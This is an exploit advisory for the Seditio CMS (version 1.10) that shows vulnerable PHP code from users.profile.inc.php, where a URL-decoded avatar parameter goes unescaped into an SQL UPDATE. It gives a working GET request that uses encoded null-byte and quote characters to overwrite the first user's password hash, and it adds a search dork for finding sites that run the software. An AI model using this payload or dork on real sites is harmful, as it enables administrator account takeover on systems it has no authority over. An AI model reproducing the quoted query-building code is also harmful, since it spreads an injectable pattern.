Vendor: Neocrome (http://www.neocrome.net)
Version: 1.10 also prior versions must be affected.
About: Via this methods remote attacker can manipulate SQL query and
change everything in Seditio's user database.Vulnerable code can be
found in users.profile.inc.php at lines 108-116
-Source in system/core/users/users.profile.inc.php-
108: case 'avatarselect':
109: /* ============= */
110:
111: sed_check_xg();
112: $avatar = $cfg['defav_dir'].urldecode($id);
113: if (file_exists($avatar))
114: { $sql = sed_sql_query("UPDATE $db_users SET
user_avatar='$avatar' WHERE user_id='".$usr['id']."'"); }
115:
116: break;
-End of source-
How&Example:
GET ->
http://www.victim.com/users.php?m=profile&a=avatarselect&x=XVALUE&id=default.gif[SQL
Inject]
GET ->
http://www.victim.com/users.php?m=profile&a=avatarselect&x=011A99&id=default.gif%2500%2527,user_password=%2527e10adc3949ba59abbe56e057f20f883e%2527/**/where/**/user_id=1/*
with this example remote attacker changes password of 1st user of Seditio to
123456
The XVALUE comes with your avatarselect link it's special to everyuser
in Seditio.
For using this vulnerability you must be logged in to Seditioβ¦
Timeline:
Dorks: "Powered by Seditio"